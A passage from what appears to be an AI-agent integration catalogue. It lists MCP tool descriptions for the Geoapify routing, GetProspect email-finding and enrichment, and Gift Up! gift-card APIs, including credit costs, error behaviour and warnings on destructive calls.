passenger-car matrix with `mode=drive`. via POST https://api.geoapify.com/v1/routematrix POST /api/v1/geoapify/routematrix. Scopes: api. geoapify_post_routeplanner (write) — Optimizes jobs and pickup-delivery shipments across one or more agents. - Send `mode`, `agents`, and at least one non-empty `jobs` or `shipments` array in a JSON body. - Coordinates use GeoJSON order: `[longitude, latitude]`; reusable entries in `locations` can be referenced by index. - Agent capabilities must satisfy task requirements; capacities, priorities, durations, time windows, and breaks constrain assignment and order. - A regular API call supports up to 300 unique coordinates across locations, agents, jobs, and shipments. - Each returned GeoJSON feature is one agent plan with actions, waypoints, route legs, timing, distance, and `MultiLineString` geometry. - Unassigned agents, jobs, or shipments are reported in `properties.issues` when the complete task cannot be assigned. **Example:** optimize 73 pickup-delivery shipments across three passenger-car agents with `mode=drive`. via POST https://api.geoapify.com/v1/routeplanner POST /api/v1/geoapify/routeplanner. Scopes: api. ================================================================================ ## GetProspect URL: https://www.agenticfabriq.com/integrations/getprospect Section: Integrated Tools GetProspect — 26 MCP tools Provider key: getprospect. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. getprospect_delete_v2_user_settings_table_views_company_search (write, destructive) — Reset the Companies Search table view via DELETE /v2/user/settings/table-views/company-search. Discards the saved arrangement and returns the defaults. Free: consumes no credits. DESTRUCTIVE: discards the workspace's saved arrangement and returns GetProspect's defaults. There is no undo -- read the current view with the matching Get tool first if you may want to save it back afterwards. DELETE /api/v1/getprospect/v2/user/settings/table-views/company-search. Scopes: api. getprospect_delete_v2_user_settings_table_views_people_export (write, destructive) — Reset the People Export column view via DELETE /v2/user/settings/table-views/people-export. Discards the saved set and returns the defaults. Free: consumes no credits. DESTRUCTIVE: discards the workspace's saved arrangement and returns GetProspect's defaults. There is no undo -- read the current view with the matching Get tool first if you may want to save it back afterwards. DELETE /api/v1/getprospect/v2/user/settings/table-views/people-export. Scopes: api. getprospect_delete_v2_user_settings_table_views_people_search (write, destructive) — Reset the People Search table view via DELETE /v2/user/settings/table-views/people-search. Discards the saved arrangement and returns the defaults. Free: consumes no credits. DESTRUCTIVE: discards the workspace's saved arrangement and returns GetProspect's defaults. There is no undo -- read the current view with the matching Get tool first if you may want to save it back afterwards. DELETE /api/v1/getprospect/v2/user/settings/table-views/people-search. Scopes: api. getprospect_get_v2_email_finder (write) — Find a person's email (deprecated GET) via GET /v2/email-finder. DEPRECATED by GetProspect: the GET alias of Find a person's email, kept for backward compatibility. Same lookup, same result, same charge -- but the person's name and company travel in the URL's query string, where request logs keep them. Prefer the POST tool (getprospect_post_v2_email_find), which carries them in the body. Provide full_name or first_name + last_name, plus domain (preferred) or company; GetProspect answers 400 naming what is missing (measured 2026-09-19). The API key is never in the URL on either tool. COSTS 1 EMAIL CREDIT when a valid email is found; not-found and accept-all outcomes are free. A miss is HTTP 200, not 404: `success: false`, `errors[0].name == "NOT_FOUND"`, and `data` is still an object carrying `email: null` plus whatever domain information was resolved -- check `success`, not the status (measured 2026-09-19). A 408 TIMEOUT means the live lookup took too long; retry in a few minutes. When the workspace's credit balance reaches zero this call answers 402 PAYMENT_REQUIRED (`X-Limit-Reached: true`, `X-Limit-Type: credits`) before doing anything. That is a BILLING state, not a credential problem: the key is fine, and retrying unchanged fails the same way until the balance resets or is topped up. The email endpoints report the balance on every answer in `metadata.credits` (email_search, email_verification, reset_at). GET /api/v1/getprospect/v2/email-finder. Scopes: api. getprospect_get_v2_email_verifier (write) — Verify an email address (deprecated GET) via GET /v2/email-verifier. DEPRECATED by GetProspect: the GET alias of Verify an email address, kept for backward compatibility. Same check, same result, same charge -- but the address travels in the URL's query string, where request logs keep it. Prefer the POST tool (getprospect_post_v2_email_verify), which carries it in the body. `email` is required (400 "Email is required" without it, measured 2026-09-19). The API key is never in the URL on either tool. COSTS 1 EMAIL VERIFICATION CREDIT per check; a syntactically invalid address is answered `status: "invalid"` without a charge. When the workspace's credit balance reaches zero this call answers 402 PAYMENT_REQUIRED (`X-Limit-Reached: true`, `X-Limit-Type: credits`) before doing anything. That is a BILLING state, not a credential problem: the key is fine, and retrying unchanged fails the same way until the balance resets or is topped up. The email endpoints report the balance on every answer in `metadata.credits` (email_search, email_verification, reset_at). GET /api/v1/getprospect/v2/email-verifier. Scopes: api. getprospect_get_v2_enums (read) — List all filter enums via GET /v2/enums. Returns every filter vocabulary used by the /v2 search endpoints in a single payload. Useful for building filter UIs at integration time. `data` maps each enum name to its accepted filter values - a flat array for most (e.g. `{ "company_types": ["Privately Held", ...] }`), except `industries` and `departments`, which are grouped by category (`{ "departments": { "C-Suite": ["Founder", ...], ... } }`), and `regions`, which maps each region accepted by the location filters to its member country codes (`{ "EMEA": ["DK", ...], ... }`). `countries` are ISO-3166-1 alpha-2 codes; clients map codes to names themselves. Free: consumes no credits and changes nothing in the workspace. PUBLIC: GetProspect answers this without any credential (measured 2026-09-19 -- 200 with no key), so a success here says nothing about whether the connection's key works. GET /api/v1/getprospect/v2/enums. Scopes: api. getprospect_get_v2_enums_by_name (read) — Get one filter enum via GET /v2/enums/{name}. Returns the accepted values for one filter vocabulary as `data` - a flat array for most, except `industries` and `departments` (an object of category -> values) and `regions` (an object of region -> member country codes). Name must be one of: industries, countries, employee_ranges, company_types, business_types, revenue_streams, keywords_sources, departments, seniorities, regions. 400 on any other name. Free: consumes no credits and changes nothing in the workspace. PUBLIC: GetProspect answers this without any credential (measured 2026-09-19 -- 200 with no key), so a success here says nothing about whether the connection's key works. GET /api/v1/getprospect/v2/enums/{name}. Scopes: api. getprospect_get_v2_user_settings_table_views_company_export (read) — Get the saved Company Export column view via GET /v2/user/settings/table-views/company-export. The caller's own export column set for this workspace, or the shipped defaults (`isDefault: true` -- the field is spelled `isDefault` on the wire, measured 2026-09-19, not the `is_default` of the vendor's prose; it reads `false` once an arrangement has been saved). Free: consumes no credits and changes nothing in the workspace. GET /api/v1/getprospect/v2/user/settings/table-views/company-export. Scopes: api. getprospect_get_v2_user_settings_table_views_company_search (read) — Get the saved Companies Search table view via GET /v2/user/settings/table-views/company-search. The caller's own arrangement for this workspace, or the shipped defaults when they have never saved one (`isDefault: true` -- the field is spelled `isDefault` on the wire, measured 2026-09-19, not the `is_default` of the vendor's prose; it reads `false` once an arrangement has been saved). Free: consumes no credits and changes nothing in the workspace. GET /api/v1/getprospect/v2/user/settings/table-views/company-search. Scopes: api. getprospect_get_v2_user_settings_table_views_people_export (read) — Get the saved People Export column view via GET /v2/user/settings/table-views/people-export. The caller's own export column set for this workspace, or the shipped defaults when they have never saved one (`isDefault: true` -- the field is spelled `isDefault` on the wire, measured 2026-09-19, not the `is_default` of the vendor's prose; it reads `false` once an arrangement has been saved). Free: consumes no credits and changes nothing in the workspace. GET /api/v1/getprospect/v2/user/settings/table-views/people-export. Scopes: api. getprospect_get_v2_user_settings_table_views_people_search (read) — Get the saved People Search table view via GET /v2/user/settings/table-views/people-search. The caller's own arrangement for this workspace, or the shipped defaults when they have never saved one (`isDefault: true` -- the field is spelled `isDefault` on the wire, measured 2026-09-19, not the `is_default` of the vendor's prose; it reads `false` once an arrangement has been saved). Free: consumes no credits and changes nothing in the workspace. GET /api/v1/getprospect/v2/user/settings/table-views/people-search. Scopes: api. getprospect_post_v2_companies_bulk_enrich (read) — Enrich up to 50 companies via POST /v2/companies/bulk-enrich. Enrich up to 50 companies in one request. Each item takes the same identifiers as Companies Enrich and is matched independently (id, then linkedin_id, linkedin_url, domain, name); the response buckets items into matched, not_matched and invalid, echoing each item's identifier so you can correlate results. Enriching companies spends no credits. Free: consumes no credits and changes nothing in the workspace. Items are validated one by one: an unknown or malformed field inside an item moves THAT ITEM to the `invalid` bucket instead of failing the batch, and every outcome echoes the item's `identifier` so results correlate back to your rows. A missing or non-array `data` still fails the whole request with 400. POST /api/v1/getprospect/v2/companies/bulk-enrich. Scopes: api. getprospect_post_v2_companies_enrich (read) — Enrich a company via POST /v2/companies/enrich. Retrieve the full profile of one company - industry, headcount, locations, domains and LinkedIn data. Look it up by GetProspect id, LinkedIn id or URL, web domain, or name; when several identifiers are sent the strongest wins (id, then linkedin_id, linkedin_url, domain, name). Enriching a company spends no credits. A miss is NOT a 404: it is HTTP 200 with `success: false` and `errors[0].name == "NOT_FOUND"` (measured 2026-09-19 against an invented domain), so check `success` rather than the status. Free: consumes no credits and changes nothing in the workspace. Request bodies are strictly validated: an unknown field anywhere in the body fails the WHOLE request with 400 VALIDATION_ERROR, naming the field in `errors[].payload.field`; nothing is silently ignored, so do not guess field names. POST /api/v1/getprospect/v2/companies/enrich. Scopes: api. getprospect_post_v2_companies_search (read) — Search companies via POST /v2/companies/search. Search our company database by identity, company attributes and free-text keywords. Look up specific companies by name, domain or LinkedIn id, or build a target list by industry, location (city, state, country or region), headcount, founded year, company type, business type, revenue stream and NAICS codes: filters AND together, and at least one include condition is required. Searching is free. Results return 25 per page, sorted by relevance when keywords are present and by followers otherwise - see the body parameters below for every filter and its nuances. Free: consumes no credits and changes nothing in the workspace. Request bodies are strictly validated: an unknown field anywhere in the body fails the WHOLE request with 400 VALIDATION_ERROR, naming the field in `errors[].payload.field`; nothing is silently ignored, so do not guess field names. Results come 25 per page, up to page 1000 (25,000 results per query); pass `page` (1-based) and read `metadata.pagination` -- `page`, `per_page`, `total_pages`, `total_count` -- stopping once `page >= total_pages`, never on a short page. A search that reports more matches than the cap needs narrower filters, not deeper paging. Enum-backed filters accept exact, case-sensitive values only -- read them from getprospect_get_v2_enums (or getprospect_get_v2_enums_by_name) rather than inventing close-enough strings: "vp" matches nothing, "VP" does. POST /api/v1/getprospect/v2/companies/search. Scopes: api. getprospect_post_v2_email_find (write) — Find a person's email via POST /v2/email/find. Find the verified business email address of a specific person. Inside `data`, provide the person's name (full_name, or first_name + last_name) plus their company (domain preferred, or company name). COSTS 1 EMAIL CREDIT when a valid email is found; not-found and accept-all outcomes are free. Request bodies are strictly validated: an unknown field anywhere in the body fails the WHOLE request with 400 VALIDATION_ERROR, naming the field in `errors[].payload.field`; nothing is silently ignored, so do not guess field names. A miss is HTTP 200, not 404: `success: false`, `errors[0].name == "NOT_FOUND"`, and `data` is still an object carrying `email: null` plus whatever domain information was resolved -- check `success`, not the status (measured 2026-09-19). A 408 TIMEOUT means the live lookup took too long; retry in a few minutes. When the workspace's credit balance reaches zero this call answers 402 PAYMENT_REQUIRED (`X-Limit-Reached: true`, `X-Limit-Type: credits`) before doing anything. That is a BILLING state, not a credential problem: the key is fine, and retrying unchanged fails the same way until the balance resets or is topped up. The email endpoints report the balance on every answer in `metadata.credits` (email_search, email_verification, reset_at). POST /api/v1/getprospect/v2/email/find. Scopes: api. getprospect_post_v2_email_verify (write) — Verify an email address via POST /v2/email/verify. Check whether an email address is deliverable. Pass the email inside `data`; the response reports its verification status along with domain health and whether the mailbox is free or disposable. Verification runs live and can take up to a minute - a 408 means retry in a few minutes. COSTS 1 EMAIL VERIFICATION CREDIT per check; a syntactically invalid address is answered `status: "invalid"` without a charge (measured 2026-09-19: the balance in `metadata.credits` did not move). Request bodies are strictly validated: an unknown field anywhere in the body fails the WHOLE request with 400 VALIDATION_ERROR, naming the field in `errors[].payload.field`; nothing is silently ignored, so do not guess field names. When the workspace's credit balance reaches zero this call answers 402 PAYMENT_REQUIRED (`X-Limit-Reached: true`, `X-Limit-Type: credits`) before doing anything. That is a BILLING state, not a credential problem: the key is fine, and retrying unchanged fails the same way until the balance resets or is topped up. The email endpoints report the balance on every answer in `metadata.credits` (email_search, email_verification, reset_at). POST /api/v1/getprospect/v2/email/verify. Scopes: api. getprospect_post_v2_people_bulk_enrich (write) — Enrich up to 50 people via POST /v2/people/bulk-enrich. Enrich up to 50 people in one request. Each item takes the same identifiers as People Enrich and is matched independently (strongest identifier wins); the response buckets items into matched, not_matched and invalid, echoing each item's identifier so you can correlate results. One failed item never fails the batch. Credits work like People Enrich: enrich_email is on by default and costs 1 email credit per newly revealed email, and enrich_phone costs 1 phone credit per lookup. SPENDS CREDITS BY DEFAULT, per item: `enrich_email` defaults to TRUE and costs 1 email credit per newly revealed email; `enrich_phone` costs 1 phone credit per lookup. Set `enrich_email: false` for free profile lookups. Items are validated one by one: an unknown or malformed field inside an item moves THAT ITEM to the `invalid` bucket instead of failing the batch, and every outcome echoes the item's `identifier` so results correlate back to your rows. A missing or non-array `data` still fails the whole request with 400. When the workspace's credit balance reaches zero this call answers 402 PAYMENT_REQUIRED (`X-Limit-Reached: true`, `X-Limit-Type: credits`) before doing anything. That is a BILLING state, not a credential problem: the key is fine, and retrying unchanged fails the same way until the balance resets or is topped up. The email endpoints report the balance on every answer in `metadata.credits` (email_search, email_verification, reset_at). POST /api/v1/getprospect/v2/people/bulk-enrich. Scopes: api. getprospect_post_v2_people_enrich (write) — Enrich a person via POST /v2/people/enrich. Retrieve the full profile of one person you already know - identity, location, work history and contact fields. Look them up by GetProspect id, LinkedIn id or URL, email, or first name + last name + company; when several identifiers are sent the strongest wins (id, then linkedin_id, linkedin_url, email, name + company). A verified business email is found and revealed by default (1 email credit per newly revealed email; set enrich_email to false to skip), and enrich_phone additionally looks up a mobile phone for 1 phone credit. A miss is NOT a 404: the errors page documents -- and Company Enrich was measured 2026-09-19 to answer -- HTTP 200 with `success: false` and `errors[0].name == "NOT_FOUND"`, so check `success` rather than the status. Nothing is charged for a miss. SPENDS CREDITS BY DEFAULT: `enrich_email` defaults to TRUE and costs 1 email credit per newly revealed email (re-revealing an email this workspace already unlocked is free); `enrich_phone` costs 1 phone credit per lookup. Set `enrich_email: false` for a free profile lookup. Request bodies are strictly validated: an unknown field anywhere in the body fails the WHOLE request with 400 VALIDATION_ERROR, naming the field in `errors[].payload.field`; nothing is silently ignored, so do not guess field names. When the workspace's credit balance reaches zero this call answers 402 PAYMENT_REQUIRED (`X-Limit-Reached: true`, `X-Limit-Type: credits`) before doing anything. That is a BILLING state, not a credential problem: the key is fine, and retrying unchanged fails the same way until the balance resets or is topped up. The email endpoints report the balance on every answer in `metadata.credits` (email_search, email_verification, reset_at). POST /api/v1/getprospect/v2/people/enrich. Scopes: api. getprospect_post_v2_people_exists (read) — Check which LinkedIn profiles are known via POST /v2/people/exists. Checks up to 50 LinkedIn person profile URLs against GetProspect's people database and returns bucketed matched, not_matched, and invalid results. Matched people use the people search response shape, without other_positions, and with primary_position limited to job_title, normalized_job_title, and company.name. Free: consumes no credits and changes nothing in the workspace. Request bodies are strictly validated: an unknown field anywhere in the body fails the WHOLE request with 400 VALIDATION_ERROR, naming the field in `errors[].payload.field`; nothing is silently ignored, so do not guess field names. POST /api/v1/getprospect/v2/people/exists. Scopes: api. getprospect_post_v2_people_search (write) — Search people via POST /v2/people/search. Search our people database by who a person is, what they do and where they work. Combine person filters (name, location), job filters (title, seniority, department, tenure, recent job change) and company filters (industry, headcount, location, keywords and more): filters AND together, and at least one include condition is required. Searching is free and every result reports email availability; set enrich_email or enrich_phone to reveal contact data for credits. Results return 25 per page, sorted by followers desc by default - see the body parameters below for every filter and its nuances. FREE with the defaults -- every result reports `email.status` and `mobile_phone.status` with `revealed: false` and no address or number (measured 2026-09-19). Setting `enrich_email: true` reveals each result's email for 1 credit each, and `enrich_phone: true` runs a live phone lookup for 1 phone credit per result with a LinkedIn URL -- on a 25-row page that is up to 25 credits per call. Request bodies are strictly validated: an unknown field anywhere in the body fails the WHOLE request with 400 VALIDATION_ERROR, naming the field in `errors[].payload.field`; nothing is silently ignored, so do not guess field names. Results come 25 per page, up to page 1000 (25,000 results per query); pass `page` (1-based) and read `metadata.pagination` -- `page`, `per_page`, `total_pages`, `total_count` -- stopping once `page >= total_pages`, never on a short page. A search that reports more matches than the cap needs narrower filters, not deeper paging. Enum-backed filters accept exact, case-sensitive values only -- read them from getprospect_get_v2_enums (or getprospect_get_v2_enums_by_name) rather than inventing close-enough strings: "vp" matches nothing, "VP" does. When the workspace's credit balance reaches zero this call answers 402 PAYMENT_REQUIRED (`X-Limit-Reached: true`, `X-Limit-Type: credits`) before doing anything. That is a BILLING state, not a credential problem: the key is fine, and retrying unchanged fails the same way until the balance resets or is topped up. The email endpoints report the balance on every answer in `metadata.credits` (email_search, email_verification, reset_at). POST /api/v1/getprospect/v2/people/search. Scopes: api. getprospect_post_v2_search_matching_titles (read) — Preview matching job titles via POST /v2/search/matching-titles. Preview which job titles a boolean / Cartesian expression matches before you search with it. Send the same expression you would pass as person_job_title.boolean_search and get back the most common matching titles with a count for each. Counts are estimates over the whole database and do not take any of your other filters into account, so use them to sanity-check an expression, not to predict a result total. Returned titles are raw LinkedIn titles - the same values People Search returns as `job_title` - so one role appears once per spelling ("vp marketing" and "vp, marketing" are two rows). A position is matched on all of its titles, so a title can appear here because one of the person's other roles matched: an expression for `ceo` will list "Founder & CEO". Titles are also matched through their normalized catalog form, which is how a search finds non-English titles - and why a listed title can look unrelated to what you typed. That is what the search does; the preview shows it rather than hiding it. The expression must contain at least one term that is not excluded. The response metadata includes a `cached` flag noting whether the answer came from cache. Previews are free and consume no credits. Free: consumes no credits and changes nothing in the workspace. Request bodies are strictly validated: an unknown field anywhere in the body fails the WHOLE request with 400 VALIDATION_ERROR, naming the field in `errors[].payload.field`; nothing is silently ignored, so do not guess field names. POST /api/v1/getprospect/v2/search/matching-titles. Scopes: api. getprospect_post_v2_search_suggest (read) — Suggest filter values via POST /v2/search/suggest. Typeahead suggestions for the open-ended People Search and Company Search filters, plus person and company lookups by name. Send the text the user has typed so far (or nothing - an empty query browses each vocabulary, most popular first for locations, job titles and company keywords, so a picker can open pre-filled; `person` and `company` are the exceptions and need at least 2 characters) and one vocabulary type - location, job_title, industry, company_keywords, person or company - and get back up to 25 ready-to-use rows. For location, job_title, industry and company_keywords, each row carries a `value` you pass as-is to the matching filter (person_location / company_location, person_job_title, company_industry, company_keywords). For `person`, `value` feeds `person.name` (search everyone with that name) and `id` feeds `person.id` (pin exactly that one person); each row also carries their current job title and company with its logo. For `company`, `value` is the canonical company name and each row carries the id `company.id` (People Search) accepts, a domain attached to the company (its website when none is attached), logo, industry and employee range - matched by a prefix of the name or of any attached domain. Location suggestions include the structured parts (city, state, country, ISO country code) and a level; job-title suggestions map abbreviations like "ceo" to their canonical title and tolerate a rephrasing ("VP of Marketing" and "Marketing VP" both suggest "Vice President Marketing"); industry suggestions include the category group; company-keyword suggestions carry a `company_count` and match a prefix of any word, so "market" finds both "Marketing" and "Digital Marketing". Suggestions are free and consume no credits. For the closed vocabularies (departments, seniorities, countries, employee ranges and more) fetch the full lists from GET /v2/enums instead. Free: consumes no credits and changes nothing in the workspace. Request bodies are strictly validated: an unknown field anywhere in the body fails the WHOLE request with 400 VALIDATION_ERROR, naming the field in `errors[].payload.field`; nothing is silently ignored, so do not guess field names. POST /api/v1/getprospect/v2/search/suggest. Scopes: api. getprospect_put_v2_user_settings_table_views_company_export (write) — Save the Company Export column view via PUT /v2/user/settings/table-views/company-export. Replaces the whole set - the columns listed are the exported ones, in order. Locked columns must all be present. Free: consumes no credits. THIS IS A REPLACEMENT, NOT A PATCH: the columns you send are the whole arrangement, in order, and any column you omit is hidden -- so read the current view first and send the full list back with your changes in it. An empty or malformed body answers 400 VALIDATION_ERROR before anything is stored, and a valid one answers 200 with the stored arrangement echoed back (both measured 2026-09-19 on all four views; GetProspect drops `frozen: false` to absence when it echoes a saved view). PUT /api/v1/getprospect/v2/user/settings/table-views/company-export. Scopes: api. getprospect_put_v2_user_settings_table_views_company_search (write) — Save the Companies Search table view via PUT /v2/user/settings/table-views/company-search. Replaces the whole arrangement. Locked columns must all be present, `name` must lead, and frozen columns must be the leading run. Free: consumes no credits. THIS IS A REPLACEMENT, NOT A PATCH: the columns you send are the whole arrangement, in order, and any column you omit is hidden -- so read the current view first and send the full list back with your changes in it. An empty or malformed body answers 400 VALIDATION_ERROR before anything is stored, and a valid one answers 200 with the stored arrangement echoed back (both measured 2026-09-19 on all four views; GetProspect drops `frozen: false` to absence when it echoes a saved view). PUT /api/v1/getprospect/v2/user/settings/table-views/company-search. Scopes: api. getprospect_put_v2_user_settings_table_views_people_export (write) — Save the People Export column view via PUT /v2/user/settings/table-views/people-export. Replaces the whole set - the columns listed are the exported ones, in order. Locked columns must all be present. Free: consumes no credits. THIS IS A REPLACEMENT, NOT A PATCH: the columns you send are the whole arrangement, in order, and any column you omit is hidden -- so read the current view first and send the full list back with your changes in it. An empty or malformed body answers 400 VALIDATION_ERROR before anything is stored, and a valid one answers 200 with the stored arrangement echoed back (both measured 2026-09-19 on all four views; GetProspect drops `frozen: false` to absence when it echoes a saved view). PUT /api/v1/getprospect/v2/user/settings/table-views/people-export. Scopes: api. getprospect_put_v2_user_settings_table_views_people_search (write) — Save the People Search table view via PUT /v2/user/settings/table-views/people-search. Replaces the whole arrangement - the columns listed are the visible ones, in order. Locked columns must all be present, `name` must lead, and frozen columns must be the leading run. Free: consumes no credits. THIS IS A REPLACEMENT, NOT A PATCH: the columns you send are the whole arrangement, in order, and any column you omit is hidden -- so read the current view first and send the full list back with your changes in it. An empty or malformed body answers 400 VALIDATION_ERROR before anything is stored, and a valid one answers 200 with the stored arrangement echoed back (both measured 2026-09-19 on all four views; GetProspect drops `frozen: false` to absence when it echoes a saved view). PUT /api/v1/getprospect/v2/user/settings/table-views/people-search. Scopes: api. ================================================================================ ## Gift Up! URL: https://www.agenticfabriq.com/integrations/giftup Section: Integrated Tools Gift Up! — 55 MCP tools Provider key: giftup. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. giftup_delete_groups_by_id (write, destructive) — Delete item group via DELETE /groups/{id} DELETE /api/v1/giftup/groups/{id}. Scopes: api. giftup_delete_hooks_by_id (write, destructive) — Delete webhook via DELETE /hooks/{id} DELETE /api/v1/giftup/hooks/{id}. Scopes: api. giftup_delete_items_by_id (write, destructive) — Delete item via DELETE /items/{id} DELETE /api/v1/giftup/items/{id}. Scopes: api. giftup_delete_settings_gift_card_artwork_by_id (write, destructive) — Delete gift card artwork via DELETE /settings/gift-card/artwork/{id} DELETE /api/v1/giftup/settings/gift-card/artwork/{id}. Scopes: api. giftup_delete_users_by_id (write, destructive) — Delete user via DELETE /users/{id} DELETE /api/v1/giftup/users/{id}. Scopes: api. giftup_get_company (read) — Get company via GET /company GET /api/v1/giftup/company. Scopes: api. giftup_get_gift_cards (read) — List gift cards via GET /gift-cards GET /api/v1/giftup/gift-cards. Scopes: api. giftup_get_gift_cards_by_code (read) — Get gift card by code via GET /gift-cards/{code} GET /api/v1/giftup/gift-cards/{code}. Scopes: api. giftup_get_groups (read) — List item groups via GET /groups GET /api/v1/giftup/groups. Scopes: api. giftup_get_groups_by_id (read) — Get item group by id via GET /groups/{id} GET /api/v1/giftup/groups/{id}. Scopes: api. giftup_get_hooks (read) — List webhooks via GET /hooks GET /api/v1/giftup/hooks. Scopes: api. giftup_get_hooks_by_id (read) — Get webhook via GET /hooks/{id} GET /api/v1/giftup/hooks/{id}. Scopes: api. giftup_get_integrations_stripe_connection (read) — Get stripe connection via GET /integrations/stripe/connection GET /api/v1/giftup/integrations/stripe/connection. Scopes: api. giftup_get_items (read) — List items via GET /items GET /api/v1/giftup/items. Scopes: api. giftup_get_items_by_id (read) — Get item by id via GET /items/{id} GET /api/v1/giftup/items/{id}. Scopes: api. giftup_get_locations (read) — List locations via GET /locations GET /api/v1/giftup/locations. Scopes: api. giftup_get_orders (read) — List orders via GET /orders GET /api/v1/giftup/orders. Scopes: api. giftup_get_orders_by_id (read) — Get order by id via GET /orders/{id} GET /api/v1/giftup/orders/{id}. Scopes: api. giftup_get_ping (read) — Ping get via GET /ping GET /api/v1/giftup/ping. Scopes: api. giftup_get_promotions (read) — List promotions via GET /promotions GET /api/v1/giftup/promotions. Scopes: api. giftup_get_reports_transactions (read) — List report transactions via GET /reports/transactions GET /api/v1/giftup/reports/transactions. Scopes: api. giftup_get_reports_transactions_by_id (read) — Get report transaction via GET /reports/transactions/{id} GET /api/v1/giftup/reports/transactions/{id}. Scopes: api. giftup_get_settings_checkout (read) — Get checkout settings via GET /settings/checkout GET /api/v1/giftup/settings/checkout. Scopes: api. giftup_get_settings_email (read) — Get email settings via GET /settings/email GET /api/v1/giftup/settings/email. Scopes: api. giftup_get_settings_gift_card (read) — Get gift card settings via GET /settings/gift-card GET /api/v1/giftup/settings/gift-card. Scopes: api. giftup_get_settings_gift_card_artwork (read) — List gift card artwork via GET /settings/gift-card/artwork GET /api/v1/giftup/settings/gift-card/artwork. Scopes: api. giftup_get_settings_shipping (read) — Get shipping settings via GET /settings/shipping GET /api/v1/giftup/settings/shipping. Scopes: api. giftup_get_users (read) — List users via GET /users GET /api/v1/giftup/users. Scopes: api. giftup_get_users_by_id (read) — Get user via GET /users/{id}. WITHHELD: Gift Up! does not serve this route for this account (it answers 404 to a valid key), so this call is refused before any request is made. Use giftup_get_users to list the account's users. GET /api/v1/giftup/users/{id}. Scopes: api. giftup_patch_gift_cards_by_code (write) — Update gift card via PATCH /gift-cards/{code} PATCH /api/v1/giftup/gift-cards/{code}. Scopes: api. giftup_patch_groups_by_id (write) — Update item group via PATCH /groups/{id} PATCH /api/v1/giftup/groups/{id}. Scopes: api. giftup_patch_items_by_id (write) — Update item via PATCH /items/{id} PATCH /api/v1/giftup/items/{id}. Scopes: api. giftup_patch_orders_by_id (write) — Update order via PATCH /orders/{id} PATCH /api/v1/giftup/orders/{id}. Scopes: api. giftup_patch_settings_checkout (write) — Update checkout settings via PATCH /settings/checkout PATCH /api/v1/giftup/settings/checkout. Scopes: api. giftup_patch_settings_email (write) — Update email settings via PATCH /settings/email PATCH /api/v1/giftup/settings/email. Scopes: api. giftup_patch_settings_gift_card (write) — Update gift card settings via PATCH /settings/gift-card PATCH /api/v1/giftup/settings/gift-card. Scopes: api. giftup_patch_users_by_id (write) — Update user via PATCH /users/{id}. WITHHELD: Gift Up! does not serve this route for this account (it answers 404 to a valid key), so this call is refused before any request is made. Use giftup_get_users to list the account's users. PATCH /api/v1/giftup/users/{id}. Scopes: api. giftup_post_gift_cards_by_code_reactivate (write) — Reactivate gift card via POST /gift-cards/{code}/reactivate POST /api/v1/giftup/gift-cards/{code}/reactivate. Scopes: api. giftup_post_gift_cards_by_code_redeem (write) — Redeem gift card via POST /gift-cards/{code}/redeem POST /api/v1/giftup/gift-cards/{code}/redeem. Scopes: api. giftup_post_gift_cards_by_code_redeem_in_full (write) — Redeem gift card in full via POST /gift-cards/{code}/redeem-in-full POST /api/v1/giftup/gift-cards/{code}/redeem-in-full. Scopes: api. giftup_post_gift_cards_by_code_top_up (write) — Top up gift card via POST /gift-cards/{code}/top-up POST /api/v1/giftup/gift-cards/{code}/top-up. Scopes: api. giftup_post_gift_cards_by_code_undo_redemption (write) — Undo redemption via POST /gift-cards/{code}/undo-redemption POST /api/v1/giftup/gift-cards/{code}/undo-redemption. Scopes: api. giftup_post_gift_cards_by_code_void (write, destructive) — Void gift card via POST /gift-cards/{code}/void POST /api/v1/giftup/gift-cards/{code}/void. Scopes: api. giftup_post_gift_cards_transfer_balances (write) — Transfer balances between gift cards via POST /gift-cards/transfer-balances POST /api/v1/giftup/gift-cards/transfer-balances. Scopes: api. giftup_post_groups (write) — Create item group via POST /groups POST /api/v1/giftup/groups. Scopes: api. giftup_post_hooks_by_event_subscribe (write) — Add webhook via POST /hooks/{event}/subscribe POST /api/v1/giftup/hooks/{event}/subscribe. Scopes: api. giftup_post_integrations_stripe_connection (write) — Update stripe connection via POST /integrations/stripe/connection POST /api/v1/giftup/integrations/stripe/connection. Scopes: api. giftup_post_items (write) — Create item via POST /items POST /api/v1/giftup/items. Scopes: api. giftup_post_orders (write) — Create order via POST /orders POST /api/v1/giftup/orders. Scopes: api. giftup_post_orders_by_id_notes (write) — Add note to order via POST /orders/{id}/notes POST /api/v1/giftup/orders/{id}/notes. Scopes: api. giftup_post_orders_by_id_post (write) — Mark order as posted via POST /orders/{id}/post POST /api/v1/giftup/orders/{id}/post. Scopes: api. giftup_post_partners_account_create (write) — Provision gift up account via POST /partners/account/create. WITHHELD: restricted to pre-approved Gift Up! platform partners, so this call is refused before any request is made. POST /api/v1/giftup/partners/account/create. Scopes: api. giftup_post_ping (read) — Ping post via POST /ping POST /api/v1/giftup/ping. Scopes: api. giftup_post_settings_gift_card_artwork (write) — Upload gift card artwork via POST /settings/gift-card/artwork POST /api/v1/giftup/settings/gift-card/artwork. Scopes: api. giftup_post_users (write) — Invite user via POST /users. WITHHELD: Gift Up! does not serve this route for this account (it answers 404 to a valid key), so this call is refused before any request is made. Use giftup_get_users to list the account's users. POST /api/v1/giftup/users. Scopes: api. ================================================================================ ## Gigasheet URL: https://www.agenticfabriq.com/integrations/gigasheet Section: Integrated Tools Gigasheet — 167 MCP tools Provider key: gigasheet. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET 